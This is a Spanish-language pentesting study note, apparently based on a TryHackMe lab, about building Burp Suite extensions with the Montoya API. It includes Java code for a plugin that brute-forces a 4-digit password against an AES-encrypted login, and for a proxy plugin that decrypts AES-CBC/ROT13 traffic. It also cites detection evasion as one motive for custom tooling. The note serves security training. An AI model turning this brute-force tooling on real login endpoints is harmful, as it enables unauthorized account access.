Ataques y defensa

Tooling propio con Burp

#aes-cbc#brute-force#burp#custom-tooling#java#mobile-security#proxy#red-team#rot13

Un plugin de Burp Suite es un archivo JAR que extiende la funcionalidad del proxy mediante la API Montoya. Permite interceptar y modificar tráfico HTTP en tiempo real, automatizar brute…

Definición

Un plugin de Burp Suite es un archivo JAR que extiende la funcionalidad del proxy mediante la API Montoya. Permite interceptar y modificar tráfico HTTP en tiempo real, automatizar brute force contra endpoints con cifrado custom y descifrar/recodificar payloads de aplicaciones móviles.

Casos de uso principales:

  • Automatizar brute force cuando las credenciales se envían cifradas (AES, RSA + custom encoding).
  • Descifrar/recifrar tráfico en tiempo real para inspeccionar aplicaciones con criptografía propietaria.
  • Actuar como proxy transparente entre la app y su API back-end sin romper el flujo de la aplicación.

Relacionado: Burp Suite, Insecure Randomness, AES-ECB Chosen Plaintext Attack


Contexto

¿Por qué crear tooling propio?

Las herramientas genéricas tienen firmas conocidas y no cubren lógica de negocio específica. El tooling custom permite:

  • Adaptar la funcionalidad al engagement concreto.
  • Automatizar flujos de explotación complejos (multi-step).
  • Evadir detección (no hay firma para herramientas que nadie más usa).
  • Manejar criptografía propietaria sin romper el flujo de la aplicación.

Custom Crypto en apps móviles

Las aplicaciones móviles son especialmente sensibles porque se ejecutan en entornos no confiables:

  • Un adversario puede descargar la app y descompilarlacon herramientas como Frida.
  • Los desarrolladores responden con ofuscación, root detection y criptografía custom en las requests/responses.

El objetivo del pentester NO es romper el cifrado, sino replicar los pasos para poder modificar parámetros y testear la API. El lugar ideal para este tooling es dentro del proxy interceptor, que aplica los pasos para cada request automáticamente.


Comparativa de Proxies Interceptores

Factor Burp Suite Fiddler OWASP ZAP Caido
Plataformas Win/Mac/Linux Windows Win/Mac/Linux Win/Mac/Linux
Lenguajes plugin Java, Python (Jython), Ruby .NET Java, JavaScript JavaScript/TypeScript
Facilidad Alta (Montoya API + comunidad) Media Media Alta (API moderna)
Comunidad Grande Media Grande (OSS) Creciente
Licencia Comercial (tier gratuito) Gratuito Gratuito / OSS Freemium

Burp destaca por madurez, extensibilidad y amplio uso en testing móvil con cifrado propietario.


Estructura de una Extensión Burp (Montoya API)

Un plugin Burp es un JAR compilado con Gradle que implementa BurpExtension:

101Burp/
├── src/main/java/
│ └── BruteForce.java ← código fuente principal
├── build.gradle ← dependencias (montoya-api:2025.2)
├── settings.gradle
└── gradlew

Dependencia clave en build.gradle:

compileOnly("net.portswigger.burp.extensions:montoya-api:2025.2")

Compilar:

Terminal window
cd ~/101Burp/
gradle build
# → build/libs/101Burp-1.0-SNAPSHOT.jar

Importar en Burp: Extensions → Add → Select File → .jar.


Lab 1: Extensión de Brute Force (AES-CBC Encrypted Login)

Escenario: Login en https://TARGET:8443 cifra username+password con AES antes de enviar. El cliente JS genera una clave AES aleatoria, cifra username=ecorp_user&password=XXXX, envía mac=<AES_key_b64>&data=<ciphertext_b64>. El password es de 4 dígitos (0000–9999).

Solución: Plugin que replica el cifrado y hace brute force iterando los 10.000 posibles passwords.

Método initialize()

@Override
public void initialize(MontoyaApi api) {
this.api = api;
api.extension().setName("Burp Password Brute-Forcer");
SwingUtilities.invokeLater(this::createUI);
}

Registra el plugin y lanza la UI en el EDT de Swing.

Método createUI()

private void createUI() {
JFrame frame = new JFrame("Brute Force Attack");
// campos: usernameField, urlField (e.g., SECOND_VM_IP:8443)
JButton startButton = new JButton("Start Attack");
startButton.addActionListener((ActionEvent e) -> {
frame.dispose();
new Thread(() -> startBruteForce(
usernameField.getText().trim(),
urlField.getText().trim()
)).start();
});
}

La UI se lanza en un hilo separado para no bloquear Burp.

Método startBruteForce() — lógica principal

// Iteración: 0001 → 9999
for (int i = 1; i <= 9999; i++) {
String password = String.format("%04d", i);
SecretKey aesKey = generateAESKey(); // clave AES aleatoria
String encodedKey = base64EncodeWithPadding(aesKey.getEncoded());
String rawdata = "username=" + username + "&password=" + password;
byte[] encryptedData = encryptAES(rawdata, aesKey);
String encodedData = base64EncodeWithPadding(encryptedData);
String postBody = "mac=" + URLEncoder.encode(encodedKey, "UTF-8") +
"&data=" + URLEncoder.encode(encodedData, "UTF-8");
HttpRequest request = HttpRequest.httpRequest(httpService,
createHttpRequest(postBody, host));
HttpResponse response = api.http().sendRequest(request).response();
// éxito: status 200 + "result=" en el body
if (response.statusCode() == 200 && response.bodyToString().contains("result=")) {
String decryptedResult = decryptAES(decodedKey, decodedEncryptedData);
// → mostrar popup con password y respuesta descifrada
break;
}
}

Método createHttpRequest()

private String createHttpRequest(String body, String serverUrl) {
return "POST /login HTTP/1.1\r\n" +
"Host: " + serverUrl + "\r\n" +
"Content-Type: application/x-www-form-urlencoded\r\n" +
"Content-Length: " + body.length() + "\r\n" +
"\r\n" + body;
}

Lab 2: Plugin Proxy Descifrador (AES-CBC + ROT13)

Escenario (segunda pantalla de login): La app aplica ROT13 a username y secret, luego cifra con AES-CBC (IV fijo "0000000000000000") y envía mac=<key>&data=<ciphertext>. La respuesta del servidor también está cifrada con la misma clave de sesión.

Objetivo: Plugin que actúa como proxy transparente, descifra requests y responses, y los loguea en claro en el output de Burp.

Flujo de la extensión (clase BurpExtender implements BurpExtension, HttpHandler)

@Override
public void initialize(MontoyaApi api) {
this.api = api;
api.extension().setName("Burp Decryptor");
api.http().registerHttpHandler(this); // ← hookeado a cada request/response
}

Interceptar y descifrar requests

@Override
public RequestToBeSentAction handleHttpRequestToBeSent(
HttpRequestToBeSent requestToBeSent) {
// 1. Extraer mac (AES key b64) y data (ciphertext b64) con regex
// 2. Base64-decode ambos
byte[] aesKey = Base64.getDecoder().decode(URLDecoder.decode(mac, UTF_8));
byte[] encryptedData = Base64.getDecoder().decode(URLDecoder.decode(data, UTF_8));
// 3. Descifrar AES-CBC
byte[] decryptedBytes = decryptAES(encryptedData, aesKey);
// 4. Aplicar ROT13 para obtener texto claro
String firstPassRot13 = rot13(new String(decryptedBytes, UTF_8).trim());
// 5. Loguear
logging.logToOutput("===== [Decrypted Request] =====\n" + firstPassRot13);
return RequestToBeSentAction.continueWith(requestToBeSent);
}

Descifrar respuestas del servidor

@Override
public ResponseReceivedAction handleHttpResponseReceived(
HttpResponseReceived responseReceived) {
// 1. Extraer result= del body con regex
// 2. Recuperar la AES key del REQUEST original (mac=)
String requestBody = responseReceived.initiatingRequest().body().toString();
byte[] aesKey = /* extraer mac del requestBody */;
// 3. Descifrar y aplicar ROT13
byte[] decryptedResponseBytes = decryptAES(encryptedResponse, aesKey);
String finalDecryptedResponse = rot13(new String(decryptedResponseBytes, UTF_8).trim());
// 4. Loguear
logging.logToOutput("===== [Decrypted Response] =====\n" + finalDecryptedResponse);
return ResponseReceivedAction.continueWith(responseReceived);
}

Función ROT13 en Java

private String rot13(String text) {
StringBuilder result = new StringBuilder();
for (char c : text.toCharArray()) {
if (Character.isUpperCase(c))
result.append((char) ('A' + (c - 'A' + 13) % 26));
else if (Character.isLowerCase(c))
result.append((char) ('a' + (c - 'a' + 13) % 26));
else
result.append(c);
}
return result.toString();
}

Función decryptAES()

private byte[] decryptAES(byte[] encryptedData, byte[] key) throws Exception {
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
IvParameterSpec iv = new IvParameterSpec(
FIXED_IV.getBytes(StandardCharsets.UTF_8)); // "0000000000000000"
SecretKeySpec secretKey = new SecretKeySpec(key, "AES");
cipher.init(Cipher.DECRYPT_MODE, secretKey, iv);
return cipher.doFinal(encryptedData);
}

Output esperado

===== [Decrypted Request] =====
username=ecorp_user&secret=THM{SECRET_FROM_PREVIOUS_TASK}
========================================
===== [Decrypted Response] =====
Welcome ecorp_user your secret is THM{****}
========================================

Diagrama de flujo — Plugin proxy descifrador

sequenceDiagram
    participant Browser as App/Browser
    participant BurpPlugin as Burp Decryptor Plugin
    participant Server as API Server

    Browser->>BurpPlugin: POST /verify (mac=<key_b64>&data=<ciphertext_b64>)
    BurpPlugin->>BurpPlugin: Base64-decode mac → AES key
    BurpPlugin->>BurpPlugin: Base64-decode data → ciphertext
    BurpPlugin->>BurpPlugin: AES-CBC decrypt (IV="0000...")
    BurpPlugin->>BurpPlugin: ROT13 decode → plaintext
    BurpPlugin->>BurpPlugin: log("[Decrypted Request] username=ecorp_user...")
    BurpPlugin->>Server: reenvía request original sin modificar
    Server->>BurpPlugin: response (result=<encrypted_b64>)
    BurpPlugin->>BurpPlugin: recupera AES key del request original (initiatingRequest)
    BurpPlugin->>BurpPlugin: AES-CBC decrypt + ROT13 decode
    BurpPlugin->>BurpPlugin: log("[Decrypted Response] Welcome ecorp_user...")
    BurpPlugin->>Browser: reenvía response original sin modificar

Pitfalls

  • IV fijo ("0000000000000000"): Un IV estático hace el cifrado determinista. En un audit, marcarlo como Cryptographic Failure (PKCS#7/CBC + IV predecible → bit-flipping posible). Ver Cryptographic Failures, Padding Oracle Attack.
  • AES key transmitida en la propia request (mac=): La clave viaja junto al ciphertext. Cualquier interceptor pasivo puede descifrar el tráfico. No aporta confidencialidad real; solo oscuridad.
  • ROT13 no es cifrado: Es una transposición trivial (invertible sin clave). No añade seguridad.
  • Jython en Burp Community: Si se usa Python en la extensión, Jython puede ser lento y tener problemas con dependencias de terceros. Java es la opción más robusta.
  • Hilo principal de Swing: La UI de la extensión debe crearse con SwingUtilities.invokeLater() y el brute force debe ejecutarse en un hilo separado para no bloquear Burp.

Referencias

Título original en mis apuntes: Custom Tooling via Burp